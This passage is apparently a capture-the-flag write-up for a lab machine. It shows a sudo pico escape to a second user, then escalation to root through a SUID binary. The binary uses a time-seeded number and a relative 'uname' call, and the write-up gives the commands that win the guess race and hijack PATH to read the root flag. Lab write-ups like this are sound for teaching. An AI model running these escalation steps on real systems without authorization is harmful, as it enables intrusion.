By running sudo -u hermonine /usr/bin/pico and executing the GTFO steps we have a shell as hermonine:

$ id
uid=1002(hermonine) gid=1002(hermonine) groups=1002(hermonine)

$ cd /home/hermonine
$ cat user2.txt
RME{edited}
$ ls -lhA
total 32K
lrwxrwxrwx 1 root      root         9 Nov 26 01:06 .bash_history -> /dev/null
-rw-r----- 1 hermonine hermonine  220 Apr  4  2018 .bash_logout
-rw-r----- 1 hermonine hermonine 3.7K Apr  4  2018 .bashrc
drwx------ 2 hermonine hermonine 4.0K Nov 26 01:29 .cache
drwx------ 3 hermonine hermonine 4.0K Nov 26 01:29 .gnupg
-rw-r----- 1 hermonine hermonine  807 Apr  4  2018 .profile
-rw------- 1 hermonine hermonine   36 Nov 26 01:23 .python_history
drwxr-x--- 2 hermonine hermonine 4.0K Nov 26 00:57 .ssh
-rw-r----- 1 hermonine hermonine   45 Nov 26 01:06 user2.txt

Elevation of Privilege (EoP): from hermonine to root#

Looking for SUID files I found an unusual swagger binary:

$ find / -perm -u=s -type f 2>/dev/null
/srv/time-turner/swagger
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newuidmap
...
$ ls -lhA /srv/time-turner/swagger
-rwsr-xr-x 1 root root 8.7K Nov 26 01:06 /srv/time-turner/swagger

It looks like a weird binary asking to guess a random number.

$ /srv/time-turner/swagger
Guess my number: 8
Nope, that is not what I was thinking
I was thinking of 1860847828
$ /srv/time-turner/swagger
Guess my number: 8
Nope, that is not what I was thinking
I was thinking of 1908602051

It is using setuid, is dynamically linked and is not stripped:

$ file /srv/time-turner/swagger
/srv/time-turner/swagger: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=36c89f8b196c651950f369719ff6e50f1b427ff8, not stripped

I won't pretend to do some reverse engineering I just executed string:

$ strings /srv/time-turner/swagger | head -50
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
srand
setregid
__isoc99_scanf
puts
time
setreuid
__stack_chk_fail
printf
stdout
system
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
Nice use of the time-turner!
This system architecture is 
uname -p
Guess my number: 
Nope, that is not what I was thinking
I was thinking of %d
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
swagger.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
impressive
_ITM_deregisterTMCloneTable
stdout@@GLIBC_2.2.5

This part looks interesting:

Nice use of the time-turner!
This system architecture is 
uname -p
Guess my number: 
Nope, that is not what I was thinking
I was thinking of %d

It seems if we correctly guess the number it will return:

This system architecture is x86_64

Using a relative path for uname -p.

So we can do the exact same attack as in Archangel Root EoP.

But as the uname execution occurs after the correct number has been found we need to find a way to bypass that before.

The binary tell us the expected number if we fail and as it is using time if we execute the binary two time successively very quickly it will have the same number.

There is a hint telling us we can use pwntools but I don't want to use it:

$ cat .python_history
import pwn
exit()
import pwn
exit()

With this pipeline we can retrieve the number from the 1st execution and inject it in the second:

echo 667 | /srv/time-turner/swagger | sed -n 2p | cut -d ' ' -f 5 | /srv/time-turner/swagger

The we can hijack the PATH:

$ TD=$(mktemp -d)
$ echo 'cat /root/root.txt' > "$TD/uname"
$ chmod a+x "$TD/uname"
$ export PATH=$TD:$PATH
$ echo 667 | /srv/time-turner/swagger | sed -n 2p | cut -d ' ' -f 5 | /srv/time-turner/swagger
Guess my number: Nice use of the time-turner!
This system architecture is RME{edietd}

Note: spawning a shell directly didn't work but it's possible to write a SSH key or do something more clever/uselful.

Share